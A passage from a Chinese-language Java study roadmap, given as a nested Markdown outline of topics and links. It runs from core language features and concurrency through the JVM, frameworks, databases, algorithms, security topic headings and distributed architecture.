[为什么不建议在对外接口中使用枚举](/basics/java-basic/stop-use-enum-in-api.md)\n            \n        * IO\n            \n            * [字符流、字节流](/basics/java-basic/byte-stream-vs-character-stream.md)\n            \n            * [输入流、输出流](/basics/java-basic/input-stream-vs-output-stream.md)\n            \n            * [字节流和字符流之间的相互转换](/basics/java-basic/convert-bytestream-characterstream.md)\n            \n            * [同步、异步](/basics/java-basic/synchronized-vs-asynchronization.md)\n            \n            * [阻塞、非阻塞](/basics/java-basic/block-vs-non-blocking.md)\n            \n            * [Linux 5种IO模型](/basics/java-basic/linux-io.md)\n            \n            * [BIO、NIO和AIO的区别、三种IO的用法与原理](/basics/java-basic/bio-vs-nio-vs-aio.md)\n            \n            * [netty](/basics/java-basic/netty.md)\n            \n        * 反射\n        \n            * [反射](/basics/java-basic/reflection.md)\n        \n            * [反射有什么作用](/basics/java-basic/usage-of-reflection.md)\n        \n            * [Class类](/basics/java-basic/Class.md)\n            \n            * [反射与工厂模式实现Spring IOC](/basics/java-basic/ioc-implement-with-factory-and-reflection.md)\n        \n            * `java.lang.reflect.*`\n            \n        * 动态代理\n            \n            * [静态代理](/basics/java-basic/static-proxy.md)\n            \n            * [动态代理](/basics/java-basic/dynamic-proxy.md)\n            \n            * [动态代理和反射的关系](/basics/java-basic/dynamic-proxy-vs-reflection.md)\n            \n            * [动态代理的几种实现方式](/basics/java-basic/dynamic-proxy-implementation.md)\n            \n            * [AOP](/basics/java-basic/aop-vs-proxy.md)\n           \n        * 序列化\n           \n           * [什么是序列化与反序列化](basics/java-basic/serialize.md)\n           \n           * [Java如何实现序列化与反序列化](basics/java-basic/serialize-in-java.md)\n           \n           * [Serializable 和 Externalizable 有何不同](basics/java-basic/diff-serializable-vs-externalizable.md)\n           \n           * 为什么序列化\n           \n           * [serialVersionUID](basics/java-basic/serialVersionUID.md)\n           \n           * [为什么serialVersionUID不能随便改](basics/java-basic/serialVersionUID-modify.md)\n           \n           * [transient](basics/java-basic/transient-in-java.md)\n           \n           * [序列化底层原理](basics/java-basic/serialize-principle.md)\n           \n           * [序列化如何破坏单例模式](basics/java-basic/serialize-singleton.md)\n           \n           * [protobuf](basics/java-basic/protobuf.md)\n           \n           * [Apache-Commons-Collections的反序列化漏洞](basics/java-basic/bug-in-apache-commons-collections.md)\n           \n           * [fastjson的反序列化漏洞](basics/java-basic/bug-in-fastjson.md)\n           \n        * 注解\n           \n           * [元注解](/basics/java-basic/meta-annotation.md)\n           \n           * [自定义注解](/basics/java-basic/custom-annotation.md)\n           \n           * [Java中常用注解使用](/basics/java-basic/annotation-in-java.md)\n           \n           * [注解与反射的结合](/basics/java-basic/annotion-and-reflect.md)\n           \n           * [如何自定义一个注解？](/basics/java-basic/create-annotation.md)\n           \n           * [Spring常用注解](/basics/java-basic/annotation-in-spring.md)\n            \n        * 泛型\n            \n            * [什么是泛型](/basics/java-basic/generics.md)\n            \n            * [类型擦除](/basics/java-basic/type-erasure.md)\n            \n            * [泛型带来的问题](/basics/java-basic/generics-problem.md)\n            \n            * [泛型中K T V E ？ object等的含义](/basics/java-basic/k-t-v-e.md)\n            \n            * 泛型各种用法\n            \n            * [限定通配符和非限定通配符](/basics/java-basic/Wildcard-Character.md)\n            \n            * [上下界限定符extends 和 super](/basics/java-basic/extends-vs-super.md)\n            \n            * [`List<Object>`和原始类型`List`之间的区别?](/basics/java-basic/genericity-list.md)\n            \n            * [`List<?>`和`List<Object>`之间的区别是什么?](/basics/java-basic/genericity-list-wildcard.md)\n            \n        * 单元测试\n            \n            * [junit](/basics/java-basic/junit.md)\n            \n            * junit 和Spring 的结合\n            \n            * [mock](/basics/java-basic/mock.md)\n            \n            * [JMockit](/basics/java-basic/ut-with-jmockit.md)\n            \n            * [内存数据库（h2）](/basics/java-basic/h2-db.md)\n            \n        * 正则表达式\n            \n            * `java.lang.util.regex.*`\n            \n        * 常用的Java工具库\n            \n            * `commons.lang`\n            \n            * `commons.*...` \n            \n            * `guava-libraries` \n            \n            * `netty`\n            \n        * API&SPI\n            \n            * API\n            \n            * [API和SPI的关系和区别](/basics/java-basic/api-vs-spi.md)\n            \n            * [如何定义SPI](/basics/java-basic/create-spi.md)\n            \n            * [SPI的实现原理](/basics/java-basic/spi-principle.md)\n            \n        * 异常\n            \n            * [Error和Exception](/basics/java-basic/error-vs-exception.md)\n            \n            * [异常类型](/basics/java-basic/exception-type.md)\n            \n            * [异常相关关键字](/basics/java-basic/keyword-about-exception.md)\n            \n            * [正确处理异常](/basics/java-basic/handle-exception.md)\n            \n            * [自定义异常](/basics/java-basic/define-exception.md)\n            \n            * [异常链](/basics/java-basic/exception-chain.md)\n            \n            * [try-with-resources](/basics/java-basic/try-with-resources.md)\n            \n            * [finally和return的执行顺序](/basics/java-basic/order-about-finllly-return.md)\n            \n        * 时间处理\n            \n            * [时区](/basics/java-basic/time-zone.md)\n            \n            * [冬令时和夏令时](/basics/java-basic/StandardTime-vs-daylightSavingTime.md)\n            \n            * [时间戳](/basics/java-basic/timestamp.md)\n            \n            * Java中时间API\n            \n            * [格林威治时间](/basics/java-basic/GMT.md)\n            \n            * [CET,UTC,GMT,CST几种常见时间的含义和关系](/basics/java-basic/CET-UTC-GMT-CST.md)\n            \n            * [SimpleDateFormat的线程安全性问题](/basics/java-basic/simpledateformat-thread-safe.md)\n            \n            * [Java 8中的时间处理](/basics/java-basic/time-in-java8.md)\n            \n            * [如何在东八区的计算机上获取美国时间](/basics/java-basic/get-los_angeles-time.md)\n            \n            * [yyyy和YYYY有什么区别？](/basics/java-basic/YYYY-vs-yyyy.md)\n            \n            * 为什么日期格式化时必须有使用y表示年，而不能用Y？ \n            \n        * 编码方式\n            \n            * [什么是ASCII？](/basics/java-basic/ASCII.md)\n            \n            * [Unicode](/basics/java-basic/UNICODE.md)\n            \n            * [有了Unicode为啥还需要UTF-8](/basics/java-basic/why-utf8.md)\n            \n            * [UTF8、UTF16、UTF32区别](/basics/java-basic/UTF8-UTF16-UTF32.md)\n            \n            * [有了UTF8为什么还需要GBK？](/basics/java-basic/why-gbk.md)\n            \n            * [GBK、GB2312、GB18030之间的区别](/basics/java-basic/gbk-gb2312-gb18030.md)\n            \n            * [URL编解码](/basics/java-basic/url-encode.md)\n            \n            * [Big Endian和Little Endian](/basics/java-basic/big-endian-vs-little-endian.md)\n            \n            * 如何解决乱码问题\n            \n        * 语法糖\n            \n            *  [Java中语法糖原理、解语法糖](/basics/java-basic/syntactic-sugar.md)\n            \n            *  [语法糖介绍](/basics/java-basic/syntactic-sugar.md)\n            \n        * JMS\n            \n            * 什么是Java消息服务\n            \n            * JMS消息传送模型\n            \n        * JMX\n            \n            * java.lang.management.* \n            \n            * javax.management.*\n            \n        * BigDecimal\n            \n            * 为什么0.1+0.2不等于0.3\n            \n            * [为什么不能使用BigDecimal的equals比较大小](/basics/java-basic/stop-using-equlas-in-bigdecimal.md)\n            \n            * [为什么不能直接使用double创建一个BigDecimal](/basics/java-basic/stop-create-bigdecimal-with-double.md)\n            \n        * Java 8\n            \n            * [lambda表达式](/basics/java-basic/lambda.md)\n            \n            * [Stream API](/basics/java-basic/stream.md)\n            \n            * [时间API](/basics/java-basic/time-in-java8.md)\n            \n        * 阅读源代码\n            \n            * String\n            \n            * Integer\n            \n            * Long\n            \n            * Enum\n            \n            * BigDecimal\n            \n            * ThreadLocal\n            \n            * ClassLoader & URLClassLoader\n            \n            * ArrayList & LinkedList\n            \n            * HashMap & LinkedHashMap & TreeMap & CouncurrentHashMap\n            \n            * HashSet & LinkedHashSet & TreeSet\n            \n    * Java并发编程\n            \n        * 并发与并行\n            \n            * [什么是并发](/basics/concurrent-coding/concurrent.md)\n            \n            * [什么是并行](/basics/concurrent-coding/parallel.md)\n            \n            * [并发与并行的区别](/basics/concurrent-coding/concurrent-vs-parallel.md)\n            \n        * 线程\n        \n            * [线程与进程的区别](/basics/concurrent-coding/progress-vs-thread.md)\n            \n            * [线程的特点](/basics/concurrent-coding/thread.md)\n            \n            * [线程的实现](/basics/concurrent-coding/implement-of-thread.md)\n            \n            * [线程的状态](/basics/concurrent-coding/state-of-thread.md)\n            \n            * [线程优先级](/basics/concurrent-coding/priority-of-thread.md)\n            \n            * [线程调度](/basics/concurrent-coding/thread-scheduling.md)\n            \n            * [多线程如何Debug](/basics/concurrent-coding/debug-in-multithread.md)\n            \n            * [守护线程](/basics/concurrent-coding/deamon-thread.md)\n            \n        * 创建线程的多种方式\n            \n            * [继承Thread类创建线程](/basics/concurrent-coding/create-thread-with-extends.md)\n            \n            * [实现Runnable接口创建线程](/basics/concurrent-coding/create-thread-with-Implement.md)\n            \n            * [通过Callable和FutureTask创建线程](/basics/concurrent-coding/create-thread-with-callback-future-task.md)\n            \n            * [通过线程池创建线程](/basics/concurrent-coding/create-thread-with-thead-pool.md)\n            \n        * 线程池\n            \n            * 自己设计线程池\n            \n            * submit() 和 execute()\n            \n            * 线程池原理\n            \n            * [为什么不允许使用Executors创建线程池](/basics/concurrent-coding/why-not-executors.md)\n            \n        * 线程安全\n        \n            * [什么是线程安全](/basics/concurrent-coding/thread-safe.md)\n            \n            * 多级缓存和一致性问题\n            \n            * CPU时间片和原子性问题\n            \n            * 指令重排和有序性问题\n            \n            * 线程安全和内存模型的关系\n            \n            * happens-before\n            \n            * as-if-serial\n            \n        * 锁\n        \n            * 可重入锁\n        \n            * 阻塞锁\n        \n            * 乐观锁与悲观锁\n        \n            * 数据库相关锁机制\n        \n            * 分布式锁\n            \n        * 无锁\n        \n            * CAS\n        \n            * CAS的ABA问题\n    \n        * 锁优化\n        \n            * 偏向锁\n        \n            * 轻量级锁\n        \n            * 重量级锁\n        \n            * 锁消除\n        \n            * 锁粗化\n        \n            * 自旋锁\n            \n        * 死锁\n        \n            * [什么是死锁](/basics/concurrent-coding/deadlock-java-level.md)\n        \n            * 死锁的原因\n        \n            * 如何避免死锁\n        \n            * 写一个死锁的程序\n        \n            * 死锁问题如何排查\n    \n        * synchronized\n            \n            * [synchronized是如何实现的？](/basics/concurrent-coding/synchronized.md)\n            \n            * synchronized和lock之间关系\n            \n            * 不使用synchronized如何实现一个线程安全的单例\n            \n            * synchronized和原子性\n            \n            * synchronized和可见性\n            \n            * synchronized和有序性\n            \n        * volatile\n        \n            * 编译器指令重排和CPU指令重排\n            \n            * volatile的实现原理\n            \n            * 内存屏障\n            \n            * volatile和原子性\n            \n            * volatile和可见性\n            \n            * volatile和有序性\n            \n            * 有了synchronized为什么还需要volatile\n            \n        * 线程相关方法\n        \n            * start & run\n        \n            * sleep 和 wait\n            \n            * notify & notifyAll\n            \n        * ThreadLocal\n        \n            * ThreadLocal 原理\n            \n            * ThreadLocal 底层的数据结构\n            \n        * 写代码来解决生产者消费者问题\n            \n        * 并发包\n            \n            * 同步容器与并发容器\n            \n            * Thread\n            \n            * Runnable\n            \n            * Callable\n            \n            * ReentrantLock\n            \n            * ReentrantReadWriteLock\n            \n            * Atomic*\n            \n            * Semaphore\n            \n            * CountDownLatch\n            \n            * ConcurrentHashMap\n            \n            * Executors\n            \n* 底层篇\n            \n     * JVM\n            \n        * JVM内存结构\n            \n            * 运行时数据区\n            \n            * [运行时数据区哪些是线程独享](/basement/jvm/exclusive-in-runtime-area.md)\n            \n            * 堆和栈区别\n            \n            * 方法区在不同版本JDK中的位置\n            \n            * [运行时常量池](/basics/java-basic/Runtime-Constant-Pool.md)\n            \n            * 堆外内存\n              \n            * TLAB\n              \n            * [Java中的对象一定在堆上分配吗？](/basement/jvm/stack-alloc.md)\n            \n        * 垃圾回收\n            \n            * GC算法：标记清除、引用计数、复制、标记压缩、分代回收、增量式回收\n            \n            * GC参数\n            \n            * 对象存活的判定\n            \n            * 垃圾收集器（CMS、G1、ZGC、Epsilon）\n            \n        * JVM参数及调优\n                    \n            * -Xmx\n            \n            * -Xmn\n            \n            * -Xms\n            \n            * -Xss\n            \n            * -XX:SurvivorRatio\n            \n            * -XX:PermSize\n            \n            * -XX:MaxPermSize\n            \n            * -XX:MaxTenuringThreshold\n                    \n        * Java对象模型\n            \n            * oop-klass\n            \n            * 对象头\n            \n        * HotSpot\n            \n            * 即时编译器\n            \n            * 编译优化\n            \n        * Java内存模型\n            \n            * 计算机内存模型\n            \n            * 缓存一致性\n            \n            * MESI协议\n            \n            * 可见性\n            \n            * 原子性\n            \n            * 顺序性\n            \n            * happens-before\n            \n            * as-if-serial\n            \n            * 内存屏障\n            \n            * synchronized\n            \n            * volatile\n            \n            * final\n            \n            * 锁\n\n    * 虚拟机性能监控与故障处理工具\n            \n        * jps\n        \n        * jstack\n        \n        * jmap\n        \n        * jstat\n        \n        * jconsole\n        \n        * jinfo\n        \n        * jhat\n        \n        * javap\n        \n        * btrace\n        \n        * TProfiler\n        \n        * jlink\n        \n        * Arthas\n            \n    * 类加载机制\n            \n        * classLoader\n        \n        * 类加载过程是线程安全的吗？\n        \n        * 类加载过程\n        \n        * 如何判断JVM中类和其他类是不是同一个类\n        \n        * [双亲委派原则](/basement/jvm/parents-delegate.md)\n        \n        * [为什么需要双亲委派？](/basement/jvm/why-parents-delegate.md)\n        \n        * [“父子加载器”之间的关系是继承吗？](/basement/jvm/relation-with-parents-delegate.md)\n        \n        * [双亲委派是如何实现的？](/basement/jvm/implements-of-parents-delegate.md)\n        \n        * [如何打破双亲委派](/basement/jvm/ibreak-parants-delegate.md)\n        \n        * [如何自定义类加载器](/basement/jvm/define-class-loader.md)\n        \n        * [双亲委派被破坏的例子](/basement/jvm/sample-of-break-parents-delegate.md)\n        \n        * [为什么JNDI，JDBC等需要破坏双亲委派？](/basement/jvm/spi-parents-delegate.md)\n        \n        * [为什么Tomcat要破坏双亲委派](/basement/jvm/tomcat-parents-delegate.md)\n        \n        * [模块化（jboss modules、osgi、jigsaw）](/basement/jvm/moduler.md)\n        \n    * 打包工具\n        \n        * jar\n        \n        * jlink\n        \n        * jpackage\n            \n    * 编译与反编译\n            \n        * 什么是编译\n        \n        * 什么是反编译\n        \n        * [Class常量池](/basics/java-basic/class-contant-pool.md)\n        \n        * 编译工具：javac\n                \n        * 反编译工具：javap 、jad 、CRF\n        \n    * JIT\n    \n        * JIT优化（逃逸分析、栈上分配、标量替换、锁优化）\n        \n        \n            \n* 进阶篇          \n    * Java底层知识\n            \n        * 字节码\n        \n        * class文件格式\n        \n        * CAFEBABE\n        \n    * 位运算\n        \n        * 用位运算实现加、减、乘、除、取余\n            \n    * 设计模式\n        \n        * 设计模式的六大原则\n            \n            * 开闭原则（Open Close Principle）\n            \n            * 里氏代换原则（Liskov Substitution Principle）\n            \n            * 依赖倒转原则（Dependence Inversion Principle）\n            \n            * 接口隔离原则（Interface Segregation Principle）\n            \n            * 迪米特法则（最少知道原则）（Demeter Principle）\n            \n            * 合成复用原则（Composite Reuse Principle）\n            \n        * 创建型设计模式\n        \n            * [单例模式](/advance/design-patterns/singleton-pattern.md)\n            \n            * [抽象工厂模式](/advance/design-patterns/abstract-factory-pattern.md)\n            \n            * [建造者模式](/advance/design-patterns/builder-pattern.md)\n            \n            * [工厂模式](/advance/design-patterns/factory-method-pattern.md)\n            \n            * 原型模式\n            \n        * 结构型设计模式\n        \n            * [适配器模式](/advance/design-patterns/adapter-pattern.md)\n            \n            * 桥接模式\n            \n            * 装饰模式\n            \n            * 组合模式\n            \n            * 外观模式\n            \n            * 享元模式\n            \n            * 代理模式\n            \n        * 行为型设计模式\n        \n            * 模版方法模式\n            \n            * 命令模式\n            \n            * [迭代器模式](/advance/design-patterns/iterator-pattern.md)\n            \n            * 观察者模式\n            \n            * 中介者模式\n            \n            * 备忘录模式\n            \n            * 解释器模式\n            \n            * 状态模式\n            \n            * [策略模式](/advance/design-patterns/strategy-pattern.md)\n            \n            * 责任链模式\n            \n            * 访问者模式\n    \n        * 单例的七种写法\n        \n            * 懒汉——线程不安全\n            \n            * 懒汉——线程安全\n            \n            * 饿汉\n            \n            * 饿汉——变种\n            \n            * 静态内部类\n            \n            * 枚举\n            \n            * 双重校验锁\n            \n        * 为什么推荐使用枚举实现单例？\n        \n        * 三种工厂模式的区别及联系\n        \n            * 简单工厂、工厂方法、模板工厂\n            \n        * 会使用常用设计模式\n        \n            * 工厂模式\n            \n            * 适配器模式\n            \n            * 策略模式\n            \n            * 模板方法模式\n            \n            * 观察者模式\n            \n            * 外观模式\n            \n            * 代理模式\n            \n        * 不用synchronized和lock，实现线程安全的单例模式\n            \n        * nio和reactor设计模式\n        \n        * Spring中用到了哪些设计模式\n            \n    * 网络编程知识\n    \n        * 常用协议\n        \n            * tcp、udp、http、https\n        \n            * 用Java实现FTP、SMTP协议\n        \n        * OSI七层模型\n        \n            * 每一层的主要协议\n        \n        * TCP/UDP\n        \n            * 三次握手与四次关闭\n        \n            * 流量控制和拥塞控制\n        \n            * tcp粘包与拆包\n            \n        * TCP/IP\n        \n            * IPV4\n        \n            * IPV6\n        \n        * HTTP\n            * http/1.0 http/1.1 http/2之间的区别\n        \n            * http和https的区别\n        \n            * http中 get和post区别\n        \n            * 常见的web请求返回的状态码\n        \n            * 404、302、301、500分别代表什么\n        \n            * 用Java写一个简单的静态文件的HTTP服务器\n            \n        * HTTP/2\n            \n            * HTTP/2 存在哪些问题？\n            \n        * HTTP/3\n        \n        * Java RMI，Socket，HttpClient\n                \n        * cookie 与 session\n            \n            * cookie被禁用，如何实现session\n        \n        * 了解nginx和apache服务器的特性并搭建一个对应的服务器\n       \n        * 进程间通讯的方式\n            \n        * 什么是CDN？如果实现？\n            \n        * DNS？\n            \n            * 什么是DNS \n            \n            * 记录类型:A记录、CNAME记录、AAAA记录等\n            \n            * 域名解析\n            \n            * 根域名服务器\n            \n            * DNS污染\n            \n            * DNS劫持\n            \n            * 公共DNS：114 DNS、Google DNS、OpenDNS\n            \n        * 反向代理\n            \n            * 正向代理\n            \n            * 反向代理\n            \n            * 反向代理服务器\n            \n    * 框架知识\n            \n        * Servlet\n            \n            * 生命周期\n            \n            * 线程安全问题\n            \n            * filter和listener\n            \n            * web.xml中常用配置及作用\n            \n        * Hibernate\n            \n            * 什么是OR Mapping\n            \n            * Hibernate的缓存机制\n            \n            * Hibernate的懒加载\n            \n            * Hibernate/Ibatis/MyBatis之间的区别\n            \n        * MyBatis\n          \n            * Mybatis缓存机制\n              \n            * `#{}`和`${}`的区别\n              \n            * mapper中传递多个参数\n              \n            * Mybatis动态sql\n            \n            * Mybatis的延迟加载\n            \n        * Spring \n            \n            * Bean的初始化\n            \n            * AOP原理\n            \n            * Spring AOP不支持方法自调用的问题\n            \n            * 实现Spring的IOC\n            \n            * spring四种依赖注入方式\n            \n            * 为什么我不建议使用@Transactional声明事务 \n            \n        * Spring MVC\n            \n            * 什么是MVC\n            \n            * Spring mvc与Struts mvc的区别\n            \n        * Spring Boot\n            \n            * Spring Boot 2.0\n            \n            * 起步依赖\n            \n            * 自动配置\n            \n            * Spring Boot的starter原理\n            \n            * 自己实现一个starter\n            \n            * 为什么Spring Boot可以通过main启动web项目\n            \n        * Spring Security\n            \n        * Spring Cloud\n                \n            * 服务发现与注册：Eureka、Zookeeper、Consul\n                \n            * 负载均衡：Feign、Spring Cloud Loadbalance\n                \n            * 服务配置：Spring Cloud Config\n                \n            * 服务限流与熔断：Hystrix\n                \n            * 服务链路追踪：Dapper\n                \n            * 服务网关、安全、消息\n            \n    * 应用服务器知识\n            \n        * JBoss\n            \n        * tomcat\n            \n        * jetty\n            \n        * Weblogic\n            \n    * 工具\n            \n        * git & svn\n            \n        * maven & gradle\n            \n        * git技巧\n       \n            * 分支合并\n       \n            * 冲突解决\n       \n            * 提交回滚\n            \n        * maven技巧\n        \n            * 依赖树\n        \n            * 依赖仲裁\n                \n        * Intellij IDEA\n            * 常用插件：Maven Helper、FindBugs-IDEA、阿里巴巴代码规约检测、GsonFormat、Lombok plugin、.ignore、Mybatis plugin\n            \n* 高级篇\n            \n    * 新技术\n            \n        * Java 9\n            \n            * Jigsaw\n            * Jshell\n            * Reactive Streams\n            \n        * Java 10\n            \n            * 局部变量类型推断\n            * G1的并行Full GC\n            * ThreadLocal握手机制\n            \n        * Java 11\n            \n            * ZGC\n            * Epsilon\n            * 增强var\n        * Java 12\n            \n            * Switch 表达式\n            \n        * Java 13\n            \n            * Text Blocks\n            * Dynamic CDS Archives\n             \n        * Java 14\n            \n            * Java打包工具\n            \n            * 更有价值的NullPointerException\n            \n            * record类型\n            \n        * Spring 5\n            \n            * 响应式编程\n            \n        * Spring Boot 2.0\n            \n        * http/2\n                \n        * http/3\n            \n    * 性能优化\n            \n        * 使用单例\n        \n        * 使用Future模式\n        \n        * 使用线程池\n        \n        * 选择就绪\n        \n        * 减少上下文切换\n        \n        * 减少锁粒度\n        \n        * 数据压缩\n        \n        * 结果缓存\n        \n        * Stream并行流\n         \n        * GC调优\n         \n        * JVM内存分配调优\n         \n        * SQL调优\n        \n    * 线上问题分析\n            \n        * dump\n            \n            * 线程Dump\n            \n            * 内存Dump\n            \n            * gc情况\n      \n        * dump获取及分析工具\n            \n            * jstack\n            \n            * jstat\n            \n            * jmap\n            \n            * jhat\n            \n            * Arthas\n            \n        * dump分析死锁\n        \n        * dump分析内存泄露\n            \n        * 自己编写各种outofmemory，stackoverflow程序\n            \n            * HeapOutOfMemory\n            \n            * Young OutOfMemory\n            \n            * MethodArea OutOfMemory\n            \n            * ConstantPool OutOfMemory\n            \n            * DirectMemory OutOfMemory\n            \n            * Stack OutOfMemory Stack OverFlow\n            \n        * Arthas\n            \n            * jvm相关\n            \n            * class/classloader相关\n            \n            * monitor/watch/trace相关\n            \n            * options\n            \n            * 管道\n            \n            * 后台异步任务\n            \n        * 常见问题解决思路\n            \n            * 内存溢出\n            \n            * 线程死锁\n            \n            * 类加载冲突\n            \n            * load飙高\n            \n            * CPU利用率飙高\n            \n            * 慢SQL\n            \n        * 使用工具尝试解决以下问题，并写下总结\n            \n            * 当一个Java程序响应很慢时如何查找问题\n            \n            * 当一个Java程序频繁FullGC时如何解决问题\n            \n            * 如何查看垃圾回收日志\n            \n            * 当一个Java应用发生OutOfMemory时该如何解决\n            \n            * 如何判断是否出现死锁\n            \n            * 如何判断是否存在内存泄露\n            \n            * 使用Arthas快速排查Spring Boot应用404/401问题\n            \n            * 使用Arthas排查线上应用日志打满问题\n            \n            * 利用Arthas排查Spring Boot应用NoSuchMethodError\n            \n    * 编译原理知识\n            \n        * 编译与反编译\n            \n        * Java代码的编译与反编译\n            \n        * Java的反编译工具\n            \n            * javap \n            \n            * jad \n            \n            * CRF\n            \n        * 即时编译器\n        \n            * 编译器优化\n            \n    * 操作系统知识\n            \n        * Linux的常用命令\n          \n            * find、grep、ps、cp、move、tar、head、tail、netstat、lsof、tree、wget、curl、ping、ssh、echo、free、top\n            \n            * 为什么kill -9 不能随便执行\n            \n            * rm一个被打开的文件会发生什么\n            \n        * 进程间通信\n        \n        * 服务器性能指标\n          \n            * load\n          \n            * CPU利用率\n          \n            * 内存使用情况\n          \n            * qps\n          \n            * rt\n            \n        * 进程同步\n            \n            * 生产者消费者问题\n            \n            * 哲学家就餐问题\n            \n            * 读者写者问题\n            \n        * 缓冲区溢出\n            \n        * 分段和分页\n            \n        * 虚拟内存与主存\n            \n        * 虚拟内存管理\n            \n        * 换页算法\n            \n    * 数据库知识\n            \n        * MySql 执行引擎\n            \n        * MySQL 执行计划\n            \n            * 如何查看执行计划\n            \n            * 如何根据执行计划进行SQL优化\n            \n        * 索引\n            \n            * Hash索引&B树索引\n              \n            * 普通索引&唯一索引\n              \n            * 聚集索引&非聚集索引\n            \n            * 覆盖索引\n            \n            * 最左前缀原则\n            \n            * 索引下推\n            \n            * 索引失效\n            \n        * 回表\n            \n        * SQL优化\n            \n        * 数据库事务和隔离级别\n            \n            * 事务的ACID\n              \n            * 事务的隔离级别与读现象\n              \n            * 事务能不能实现锁的功能\n            \n        * 编码方式\n            \n            * utf8\n            \n            * utf8mb4\n            \n            * 为什么不要在数据库中使用utf8编码\n            \n        * 行数统计\n            \n            * count(1)、count(*)、count(字段)的区别\n            \n            * 为什么建议使用count(*)\n\n        * 数据库锁\n            \n            * 共享锁、排它锁\n              \n            * 行锁、表锁\n              \n            * 乐观锁、悲观锁\n              \n            * 使用数据库锁实现乐观锁\n              \n            * Gap Lock、Next-Key Lock\n            \n        * 连接\n            \n            * 内连接\n            \n            * 左连接\n            \n            * 右连接\n            \n        * 数据库主备搭建\n        \n        * log\n        \n            * binlog\n        \n            * redolog\n            \n        * 内存数据库\n            \n            * h2\n            \n        * 分库分表\n            \n        * 读写分离\n            \n        * 常用的nosql数据库\n            \n            * redis\n            \n            * memcached\n            \n        * Redis\n        \n            * Redis多线程 \n            \n        * 分别使用数据库锁、NoSql实现分布式锁\n            \n        * 性能调优\n            \n        * 数据库连接池\n            \n    * 数据结构与算法知识\n            \n        * 简单的数据结构\n            \n            * 栈\n            * 队列\n            \n            * 链表\n            \n            * 数组\n            \n            * 哈希表\n            \n            * 栈和队列的相同和不同之处\n            \n            * 栈通常采用的两种存储结构\n            \n            * 两个栈实现队列，和两个队列实现栈\n            \n        * 树\n            \n            * 二叉树\n            \n            * 字典树\n            \n            * 平衡树\n            \n            * 排序树\n            \n            * B树\n            \n            * B+树\n            \n            * R树\n            \n            * 多路树\n            \n            * 红黑树\n            \n        * 堆\n            \n            * 大根堆\n            \n            * 小根堆\n            \n        * 图\n            \n            * 有向图\n            \n            * 无向图\n            \n            * 拓扑\n            \n        * 稳定的排序算法\n            * 冒泡排序\n            * 插入排序\n            * 鸡尾酒排序\n            * 桶排序\n            * 计数排序\n            * 归并排序\n            * 原地归并排序\n            * 二叉排序树排序\n            * 鸽巢排序\n            * 基数排序\n            * 侏儒排序\n            * 图书馆排序\n            * 块排序\n            \n        * 不稳定的排序算法\n            * 选择排序\n            * 希尔排序\n            * Clover排序算法\n            * 梳排序\n            * 堆排序\n            * 平滑排序\n            * 快速排序\n            * 内省排序\n            * 耐心排序\n            \n        * 各种排序算法和时间复杂度 \n            \n        * 深度优先和广度优先搜索 \n            \n        * 全排列\n        \n        * 贪心算法\n        \n        * KMP算法\n        \n        * hash算法\n            \n        * 海量数据处理\n            \n            * 分治\n            * hash映射\n            * 堆排序\n            * 双层桶划分\n            * Bloom Filter\n            * bitmap\n            * 数据库索引\n            * mapreduce等。\n            \n    * 大数据知识\n            \n        * 搜索 \n        \n            * Solr\n            \n            * Lucene\n            \n            * ElasticSearch\n        \n        * 流式计算\n            \n            * Storm\n            \n            * Spark\n            \n            * Flink\n            \n        * Hadoop，离线计算\n            \n            * HDFS\n            \n            * MapReduce\n            \n        * 分布式日志收集\n        \n            * flume\n            \n            * kafka\n            \n            * logstash\n            \n        * 数据挖掘\n        \n            * mahout\n            \n    * 网络安全知识\n            \n        * XSS\n            \n            * XSS的防御\n            \n        * CSRF\n            \n        * 注入攻击\n            \n            * SQL注入\n            * XML注入\n            * CRLF注入\n            \n        * 文件上传漏洞\n            \n        * 加密与解密\n            \n            * 对称加密\n            * 非对称加密\n            * 哈希算法\n            * 加盐哈希算法\n            \n        * 加密算法\n            \n            * MD5，SHA1、DES、AES、RSA、DSA\n            \n        * 彩虹表\n            \n        * DDOS攻击\n            \n            * DOS攻击\n            * DDOS攻击\n            \n            * memcached为什么可以导致DDos攻击\n            \n            * 什么是反射型DDoS\n            \n            * 如何通过Hash碰撞进行DOS攻击\n            \n        * SSL、TLS，HTTPS\n            \n        * 脱库、洗库、撞库\n            \n* 架构篇\n\n    * 架构设计原则\n    \n        * 单一职责原则\n     \n        * 开放封闭原则\n     \n        * 里氏替代原则\n     \n        * 依赖倒置原则\n     \n        * 接口分离原则\n        \n    * 分布式\n        \n        * 分布式理论\n            \n            * 2PC\n            \n            * 3PC\n            \n            * CAP\n            \n            * BASE\n            \n        * 分布式协调 Zookeeper\n        \n            * 基本概念\n        \n            * 常见用法\n        \n            * ZAB算法\n        \n            * 脑裂\n        \n        * 分布式事务\n            * 本地事务&分布式事务\n            \n            * 可靠消息最终一致性\n            \n            * 最大努力通知\n            \n            * TCC\n                \n        * Dubbo\n            \n            * 服务注册\n            * 服务发现\n            * 服务治理\n                \n        * 分布式数据库\n            \n            * 怎样打造一个分布式数据库\n            \n            * 什么时候需要分布式数据库\n            \n            * mycat\n            \n            * otter\n            \n            * HBase\n                \n        * 分布式文件系统\n            \n            * mfs\n            * fastdfs\n                \n        * 分布式缓存\n            \n            * 缓存一致性\n            * 缓存命中率\n            * 缓存冗余\n        \n        * 限流降级\n        \n            * 熔断器模式\n            \n            * Hystrix\n            \n            * Sentinal\n            \n            * resilience4j\n            \n        * 分布式算法\n            \n            * 拜占庭问题与算法\n            \n            * 2PC\n            \n            * 3PC\n            \n            * 共识算法\n            \n            * Paxos 算法与 Raft 算法\n            \n            * ZAB算法\n            \n    * 领域驱动设计\n    \n        * 实体、值对象\n        \n        * 聚合、聚合根\n        \n        * 限界上下文\n        \n        * DDD如何分层\n        \n        * 充血模型和贫血模型\n        \n        * DDD和微服务有什么关系\n    * 微服务\n            \n       * SOA\n       \n       * 康威定律\n            \n       * ServiceMesh\n            \n          * sidecar\n            \n       * Docker & Kubernets\n            \n       * Spring Boot\n            \n       * Spring Cloud\n            \n    * 高并发\n            \n        * 分库分表\n        \n            * 横向拆分与水平拆分\n            \n            * 分库分表后的分布式事务问题\n\n        * CDN技术\n            \n        * 消息队列\n            \n            * RabbitMQ、RocketMQ、ActiveMQ、Kafka  \n\n            * 各个消息队列的对比\n            \n    * 高可用\n    \n        *  双机架构\n    \n            * 主备复制\n    \n            * 主从复制\n    \n            * 主主复制\n    \n        * 异地多活\n        \n        * 预案\n        \n        * 预热\n        \n        * 限流\n    \n    * 高性能\n    \n        * 高性能数据库\n    \n            * 读写分离\n    \n            * 分库分表\n    \n        * 